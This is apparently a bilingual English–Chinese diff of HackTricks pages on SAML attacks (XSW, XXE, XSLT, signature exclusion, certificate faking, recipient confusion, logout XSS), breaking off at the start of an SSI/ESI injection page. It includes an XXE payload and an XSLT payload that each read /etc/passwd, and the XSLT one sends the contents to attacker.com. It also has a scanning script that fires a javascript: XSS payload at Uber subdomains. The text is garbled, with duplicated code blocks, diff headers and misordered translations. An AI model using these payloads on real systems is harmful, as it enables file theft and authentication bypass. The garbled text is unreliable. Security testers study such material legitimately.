- **影响**:复制的断言封装签名,然后封装原始断言,创建一个嵌套的欺骗结构。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../images/image (169).png>)
### XSW #7
- **Strategy**: An Extensions element is inserted with the copied Assertion as a child.
- **Implication**: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.
- **策略**:插入一个扩展元素,复制的断言作为子元素。
- **影响**利用扩展元素的约束较少的模式绕过模式验证对策特别是在像OpenSAML这样的库中。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>)
### XSW #8
- **Difference from XSW #7**: Utilizes another less restrictive XML element for a variant of the attack.
- **Implication**: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.
- **与XSW #7的区别**利用另一个约束较少的XML元素进行攻击的变体。
- **影响**原始断言成为约束较少元素的子元素反转XSW #7中使用的结构
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../images/image (541).png>)
### Tool
### 工具
You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to parse the request, apply any XSW attack you choose, and launch it.
您可以使用Burp扩展[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)来解析请求应用您选择的任何XSW攻击并发起它。
## XXE
If you don't know which kind of attacks are XXE, please read the following page:
如果您不知道XXE攻击是什么请阅读以下页面
{{#ref}}
../xxe-xee-xml-external-entity.md
{{#endref}}
SAML Responses are **deflated and base64 encoded XML documents** and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Heres how such an attack can be visualized:
SAML响应是**解压缩和base64编码的XML文档**可能会受到XML外部实体XXE攻击的影响。通过操纵SAML响应的XML结构攻击者可以尝试利用XXE漏洞。以下是这种攻击的可视化方式
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
## 工具
## Tools
您还可以使用 Burp 扩展 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) 从 SAML 请求生成 POC以测试可能的 XXE 漏洞和 SAML 漏洞。
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities and SAML vulnerabilities.
还可以查看这个演讲: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## 通过 SAML 的 XSLT
## XSLT via SAML
For more information about XSLT go to:
有关 XSLT 的更多信息,请访问:
{{#ref}}
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
Extensible Stylesheet Language Transformations (XSLT) can be used for transforming XML documents into various formats like HTML, JSON, or PDF. It's crucial to note that **XSLT transformations are performed before the verification of the digital signature**. This means that an attack can be successful even without a valid signature; a self-signed or invalid signature is sufficient to proceed.
Here you can find a **POC** to check for this kind of vulnerabilities, in the hacktricks page mentioned at the beginning of this section you can find for payloads.
可扩展样式表语言转换 (XSLT) 可用于将 XML 文档转换为各种格式,如 HTML、JSON 或 PDF。重要的是要注意 **XSLT 转换在数字签名验证之前执行**。这意味着即使没有有效的签名,攻击也可以成功;自签名或无效签名足以继续。
在这里,您可以找到一个 **POC** 来检查这种类型的漏洞,在本节开头提到的 hacktricks 页面中,您可以找到有效载荷。
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
### Tool
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XSLT vulnerabilities.
您还可以使用 Burp 扩展 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) 从 SAML 请求生成 POC以测试可能的 XSLT 漏洞。
Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
还可以查看这个演讲: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
The **XML Signature Exclusion** observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, **signature validation may not occur**, making it vulnerable. It's possibel to test this by altering the contents that are usually verified by the signature.
**XML Signature Exclusion** 观察 SAML 实现的行为,当 Signature 元素缺失时。如果该元素缺失,**签名验证可能不会发生**,使其变得脆弱。可以通过更改通常由签名验证的内容来测试这一点。
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercept the SAML Response and click `Remove Signatures`. In doing so **all** Signature elements are removed.
您还可以使用 Burp 扩展 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)。拦截 SAML 响应并点击 `Remove Signatures`。这样,**所有** Signature 元素将被移除。
With the signatures removed, allow the request to proceed to the target. If the Signature isnt required by the Service
在移除签名后,允许请求继续发送到目标。如果服务不需要签名
## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
## Certificate Faking
Certificate Faking is a technique to test if a **Service Provider (SP) properly verifies that a SAML Message is signed** by a trusted Identity Provider (IdP). It involves using a \***self-signed certificate** to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.
Certificate Faking 是一种测试 **服务提供者 (SP) 是否正确验证 SAML 消息是否由受信任的身份提供者 (IdP) 签名** 的技术。它涉及使用 \***自签名证书** 来签署 SAML 响应或声明,这有助于评估 SP 和 IdP 之间的信任验证过程。
### How to Conduct Certificate Faking
### 如何进行 Certificate Faking
The following steps outline the process using the [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp extension:
以下步骤概述了使用 [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp 扩展的过程:
1. Intercept the SAML Response.
2. If the response contains a signature, send the certificate to SAML Raider Certs using the `Send Certificate to SAML Raider Certs` button.
3. In the SAML Raider Certificates tab, select the imported certificate and click `Save and Self-Sign` to create a self-signed clone of the original certificate.
4. Go back to the intercepted request in Burps Proxy. Select the new self-signed certificate from the XML Signature dropdown.
5. Remove any existing signatures with the `Remove Signatures` button.
6. Sign the message or assertion with the new certificate using the **`(Re-)Sign Message`** or **`(Re-)Sign Assertion`** button, as appropriate.
7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.
1. 拦截 SAML 响应。
2. 如果响应包含签名,使用 `Send Certificate to SAML Raider Certs` 按钮将证书发送到 SAML Raider Certs。
3. 在 SAML Raider 证书选项卡中,选择导入的证书并点击 `Save and Self-Sign` 创建原始证书的自签名克隆。
4. 返回 Burp 的代理中拦截的请求。从 XML Signature 下拉菜单中选择新的自签名证书。
5. 使用 `Remove Signatures` 按钮移除任何现有签名。
6. 使用 **`(Re-)Sign Message`** 或 **`(Re-)Sign Assertion`** 按钮(视情况而定)使用新证书签署消息或声明。
7. 转发签名消息。成功的身份验证表明 SP 接受由您的自签名证书签署的消息,揭示 SAML 消息验证过程中的潜在漏洞。
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.
Token Recipient Confusion 和 Service Provider Target Confusion 涉及检查 **服务提供者是否正确验证响应的预期接收者**。本质上,如果身份验证响应是针对不同提供者的,服务提供者应该拒绝该响应。这里的关键元素是 **Recipient** 字段,位于 SAML 响应的 **SubjectConfirmationData** 元素中。该字段指定一个 URL指示声明必须发送到哪里。如果实际接收者与预期的服务提供者不匹配则该声明应被视为无效。
#### **How It Works**
#### **工作原理**
For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.
The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.
为了使 SAML Token Recipient Confusion (SAML-TRC) 攻击可行,必须满足某些条件。首先,服务提供者上必须有一个有效的帐户(称为 SP-Legit。其次目标服务提供者SP-Target必须接受来自同一身份提供者的令牌该身份提供者为 SP-Legit 提供服务。
在这些条件下,攻击过程是简单的。通过共享的身份提供者与 SP-Legit 启动一个真实会话。拦截身份提供者到 SP-Legit 的 SAML 响应。然后将该拦截的 SAML 响应(原本是针对 SP-Legit 的)重定向到 SP-Target。攻击成功的标准是 SP-Target 接受该声明,从而允许访问与 SP-Legit 使用的相同帐户名下的资源。
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
```
## 登出功能中的XSS
## XSS in Logout functionality
The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
During the process of directory brute forcing, a logout page was discovered at:
原始研究可以通过 [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) 访问。
在目录暴力破解的过程中,发现了一个登出页面:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
Upon accessing this link, a redirection occurred to:
访问此链接时,发生了重定向到:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
这揭示了 `base` 参数接受一个 URL。考虑到这一点出现了将 URL 替换为 `javascript:alert(123);` 的想法,以尝试发起 XSS跨站脚本攻击。
This revealed that the `base` parameter accepts a URL. Considering this, the idea emerged to substitute the URL with `javascript:alert(123);` in an attempt to initiate an XSS (Cross-Site Scripting) attack.
### 大规模利用
### Mass Exploitation
[From this research](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
The [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) tool was used to analyze subdomains of `uberinternal.com` for domains utilizing the same library. Subsequently, a script was developed to target the `oidauth/prompt` page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it's reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.
[来自这项研究](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) 工具被用来分析 `uberinternal.com` 的子域,以查找使用相同库的域。随后,开发了一个脚本来针对 `oidauth/prompt` 页面。该脚本通过输入数据并检查其是否反映在输出中来测试 XSS跨站脚本。在输入确实被反映的情况下脚本将该页面标记为易受攻击。
```python
import requests
import urllib3
@ -286,17 +271,16 @@ from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
```
## References
## 参考文献
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
@ -304,4 +288,3 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList:
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,168 +1,161 @@
{{#include ../../banners/hacktricks-training.md}}
# SAML Overview
# SAML 概述
**Security Assertion Markup Language (SAML)** enables identity providers (IdP) to be utilized for sending authorization credentials to service providers (SP), facilitating single sign-on (SSO). This approach simplifies the management of multiple logins by allowing a single set of credentials to be used across multiple websites. It leverages XML for standardized communication between IdPs and SPs, linking the authentication of user identity with service authorization.
**安全断言标记语言 (SAML)** 使身份提供者 (IdP) 能够将授权凭证发送给服务提供者 (SP),从而实现单点登录 (SSO)。这种方法通过允许在多个网站上使用一组凭证来简化多个登录的管理。它利用 XML 在 IdP 和 SP 之间进行标准化通信,将用户身份的认证与服务授权相连接。
## Comparison between SAML and OAuth
## SAML 与 OAuth 的比较
- **SAML** is tailored towards providing enterprises with greater control over SSO login security.
- **OAuth** is designed to be more mobile-friendly, uses JSON, and is a collaborative effort from companies like Google and Twitter.
- **SAML** 针对企业提供更大的 SSO 登录安全控制。
- **OAuth** 旨在更适合移动设备,使用 JSON并且是 Google 和 Twitter 等公司的合作成果。
# SAML Authentication Flow
# SAML 认证流程
**For further details check the full post from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. This is a summary:
**有关更多详细信息,请查看完整帖子 [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**。以下是摘要:
The SAML authentication process involves several steps, as illustrated in the schema:
SAML 认证过程涉及多个步骤,如下图所示:
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
1. **Resource Access Attempt**: The user tries to access a protected resource.
2. **SAML Request Generation**: The SP does not recognize the user and generates a SAML Request.
3. **Redirect to IdP**: The user is redirected to the IdP, with the SAML Request passing through the user's browser.
4. **IdP Receives Request**: The IdP receives the SAML Request.
5. **Authentication at IdP**: The IdP authenticates the user.
6. **User Validation**: The IdP validates the user's legitimacy to access the requested resource.
7. **SAML Response Creation**: The IdP generates a SAML Response containing necessary assertions.
8. **Redirect to SP's ACS URL**: The user is redirected to the SP's Assertion Consumer Service (ACS) URL.
9. **SAML Response Validation**: The ACS validates the SAML Response.
10. **Resource Access Granted**: Access to the initially requested resource is granted.
1. **资源访问尝试**:用户尝试访问受保护的资源。
2. **SAML 请求生成**SP 无法识别用户并生成 SAML 请求。
3. **重定向到 IdP**:用户被重定向到 IdPSAML 请求通过用户的浏览器传递。
4. **IdP 接收请求**IdP 接收 SAML 请求。
5. **在 IdP 进行身份验证**IdP 对用户进行身份验证。
6. **用户验证**IdP 验证用户访问请求资源的合法性。
7. **SAML 响应创建**IdP 生成包含必要断言的 SAML 响应。
8. **重定向到 SP 的 ACS URL**:用户被重定向到 SP 的断言消费者服务 (ACS) URL。
9. **SAML 响应验证**ACS 验证 SAML 响应。
10. **资源访问授权**:授予对最初请求的资源的访问权限。
# SAML Request Example
Consider the scenario where a user requests access to a secure resource at [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). The SP identifies the lack of authentication and generates a SAML Request:
# SAML 请求示例
考虑用户请求访问 [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/) 上的安全资源的场景。SP 识别到缺乏身份验证并生成 SAML 请求:
```
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
...
```
The raw SAML Request looks like this:
原始 SAML 请求如下:
```xml
<?xml version="1.0"?>
<samlp:AuthnRequest ...
</samlp:AuthnRequest>
```
请求的关键元素包括:
Key elements of this request include:
- **AssertionConsumerServiceURL**:指定 IdP 应该在身份验证后将 SAML 响应发送到的位置。
- **Destination**:请求发送到的 IdP 地址。
- **ProtocolBinding**:定义 SAML 协议消息的传输方法。
- **saml:Issuer**:标识发起请求的实体。
- **AssertionConsumerServiceURL**: Specifies where the IdP should send the SAML Response post-authentication.
- **Destination**: The IdP's address to which the request is sent.
- **ProtocolBinding**: Defines the transmission method of SAML protocol messages.
- **saml:Issuer**: Identifies the entity that initiated the request.
在 SAML 请求生成后SP 以 **302 重定向** 响应,指示浏览器将 SAML 请求编码在 HTTP 响应的 **Location** 头中发送到 IdP。**RelayState** 参数在整个事务中维护状态信息,确保 SP 在接收到 SAML 响应时识别初始资源请求。**SAMLRequest** 参数是原始 XML 片段的压缩和编码版本,使用 Deflate 压缩和 base64 编码。
Following the SAML Request generation, the SP responds with a **302 redirect**, directing the browser to the IdP with the SAML Request encoded in the HTTP response's **Location** header. The **RelayState** parameter maintains the state information throughout the transaction, ensuring the SP recognizes the initial resource request upon receiving the SAML Response. The **SAMLRequest** parameter is a compressed and encoded version of the raw XML snippet, utilizing Deflate compression and base64 encoding.
# SAML 响应示例
# SAML Response Example
您可以在 [这里找到完整的 SAML 响应](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)。响应的关键组件包括:
You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). The key components of the response include:
- **ds:Signature**:此部分是 XML 签名,确保断言发起者的完整性和真实性。示例中的 SAML 响应包含两个 `ds:Signature` 元素,一个用于消息,另一个用于断言。
- **saml:Assertion**:此部分包含有关用户身份的信息以及可能的其他属性。
- **saml:Subject**:指定断言中所有语句的主要主题。
- **saml:StatusCode**:表示对相应请求的操作状态。
- **saml:Conditions**:详细说明断言的有效时间和指定的服务提供者等条件。
- **saml:AuthnStatement**:确认 IdP 已对断言的主题进行身份验证。
- **saml:AttributeStatement**:包含描述断言主题的属性。
- **ds:Signature**: This section, an XML Signature, ensures the integrity and authenticity of the issuer of the assertion. The SAML response in the example contains two `ds:Signature` elements, one for the message and the other for the assertion.
- **saml:Assertion**: This part holds information about the user's identity and possibly other attributes.
- **saml:Subject**: It specifies the principal subject of all the statements in the assertion.
- **saml:StatusCode**: Represents the status of the operation in response to the corresponding request.
- **saml:Conditions**: Details conditions like the validity timing of the Assertion and the specified Service Provider.
- **saml:AuthnStatement**: Confirms that the IdP authenticated the subject of the Assertion.
- **saml:AttributeStatement**: Contains attributes describing the subject of the Assertion.
在 SAML 响应之后,过程包括从 IdP 的 302 重定向。这导致对服务提供者的断言消费者服务ACSURL 的 POST 请求。POST 请求包括 `RelayState``SAMLResponse` 参数。ACS 负责处理和验证 SAML 响应。
Following the SAML Response, the process includes a 302 redirect from the IdP. This leads to a POST request to the Service Provider's Assertion Consumer Service (ACS) URL. The POST request includes `RelayState` and `SAMLResponse` parameters. The ACS is responsible for processing and validating the SAML Response.
在接收到 POST 请求并验证 SAML 响应后,用户最初请求的受保护资源将被授予访问权限。这通过对 `/secure/` 端点的 `GET` 请求和 `200 OK` 响应来说明,指示成功访问资源。
After the POST request is received and the SAML Response is validated, access is granted to the protected resource initially requested by the user. This is illustrated with a `GET` request to the `/secure/` endpoint and a `200 OK` response, indicating successful access to the resource.
# XML 签名
# XML Signatures
XML 签名是多功能的,可以对整个 XML 树或其中的特定元素进行签名。它们可以应用于任何 XML 对象,而不仅仅是响应元素。以下是 XML 签名的关键类型:
XML Signatures are versatile, capable of signing an entire XML tree or specific elements within it. They can be applied to any XML Object, not just Response elements. Below are the key types of XML Signatures:
### Basic Structure of XML Signature
An XML Signature consists of essential elements as shown:
### XML 签名的基本结构
XML 签名由基本元素组成,如下所示:
```xml
<Signature>
<SignedInfo>
<CanonicalizationMethod />
<SignatureMethod />
<Reference>
<Transforms />
<DigestMethod />
<DigestValue />
</Reference>
...
</SignedInfo>
<SignatureValue />
<KeyInfo />
<Object />
<SignedInfo>
<CanonicalizationMethod />
<SignatureMethod />
<Reference>
<Transforms />
<DigestMethod />
<DigestValue />
</Reference>
...
</SignedInfo>
<SignatureValue />
<KeyInfo />
<Object />
</Signature>
```
每个 `Reference` 元素表示一个特定的被签名资源,通过 URI 属性可以识别。
Each `Reference` element signifies a specific resource being signed, identifiable by the URI attribute.
### XML 签名的类型
### Types of XML Signatures
1. **封装签名**:这种类型的签名是其所签名资源的后代,意味着签名包含在与被签名内容相同的 XML 结构中。
1. **Enveloped Signature**: This type of signature is a descendant of the resource it signs, meaning the signature is contained within the same XML structure as the signed content.
示例:
Example:
```xml
<samlp:Response ... ID="..." ... >
...
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
...
</samlp:Response>
```
```xml
<samlp:Response ... ID="..." ... >
...
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
...
</samlp:Response>
```
在封装签名中,`ds:Transform` 元素指定它是通过 `enveloped-signature` 算法进行封装的。
In an enveloped signature, the `ds:Transform` element specifies that it's enveloped through the `enveloped-signature` algorithm.
2. **封装资源签名**:与封装签名相对,封装资源签名包裹被签名的资源。
2. **Enveloping Signature**: Contrasting with enveloped signatures, enveloping signatures wrap the resource being signed.
示例:
Example:
```xml
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
<samlp:Response ... ID="..." ... >
...
</samlp:Response>
</ds:Signature>
```
```xml
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
<samlp:Response ... ID="..." ... >
...
</samlp:Response>
</ds:Signature>
```
3. **分离签名**:这种类型与其所签名的内容是分开的。签名和内容独立存在,但两者之间保持链接。
3. **Detached Signature**: This type is separate from the content it signs. The signature and the content exist independently, but a link between the two is maintained.
示例:
Example:
```xml
<samlp:Response ... ID="..." ... >
...
</samlp:Response>
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
```
```xml
<samlp:Response ... ID="..." ... >
...
</samlp:Response>
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
```
总之XML 签名提供了灵活的方式来保护 XML 文档,每种类型满足不同的结构和安全需求。
In conclusion, XML Signatures provide flexible ways to secure XML documents, with each type serving different structural and security needs.
## References
## 参考
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,32 +1,29 @@
# Server Side Inclusion/Edge Side Inclusion Injection
# 服务器端包含/边缘端包含注入
{{#include ../banners/hacktricks-training.md}}
## Server Side Inclusion Basic Information
## 服务器端包含基本信息
**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
**(介绍摘自** [**Apache 文档**](https://httpd.apache.org/docs/current/howto/ssi.html)****
SSI (Server Side Includes) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\
For example, you might place a directive into an existing HTML page, such as:
SSI(服务器端包含)是**放置在 HTML 页面中的指令,并在服务器上评估**,同时页面被提供。它们允许您**向现有 HTML 页面添加动态生成的内容**,而无需通过 CGI 程序或其他动态技术提供整个页面。\
例如,您可以将指令放入现有 HTML 页面中,例如:
`<!--#echo var="DATE_LOCAL" -->`
And, when the page is served, this fragment will be evaluated and replaced with its value:
当页面被提供时,这个片段将被评估并替换为其值:
`Tuesday, 15-Jan-2013 19:28:54 EST`
The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution.
何时使用 SSI以及何时让您的页面完全由某个程序生成通常取决于页面的静态部分有多少以及每次页面被提供时需要重新计算多少。SSI 是添加小块信息的好方法,例如上面显示的当前时间。但如果您的页面大部分是在提供时生成的,您需要寻找其他解决方案。
You can infer the presence of SSI if the web application uses files with the extension&#x73;**`.shtml`, `.shtm` or `.stm`**, but it's not only the case.
A typical SSI expression has the following format:
如果 Web 应用程序使用扩展名为**`.shtml``.shtm``.stm`**的文件,您可以推断出 SSI 的存在,但这并不是唯一的情况。
典型的 SSI 表达式具有以下格式:
```
<!--#directive param="value" -->
```
### Check
### 检查
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
@ -57,23 +54,19 @@ A typical SSI expression has the following format:
<!--#set var="name" value="Rich" -->
```
## Edge Side Inclusion
There is a problem **caching information or dynamic applications** as part of the content may have **varied** for the next time the content is retrieved. This is what **ESI** is used form, to indicate using ESI tags the **dynamic content that needs to be generated** before sending the cache version.\
If an **attacker** is able to **inject an ESI tag** inside the cache content, then, he could be able to i**nject arbitrary content** on the document before it's sent to the users.
存在一个问题,即**缓存信息或动态应用程序**的一部分内容在下次检索时可能会**有所不同**。这就是**ESI**的用途通过使用ESI标签来指示**需要生成的动态内容**,然后再发送缓存版本。\
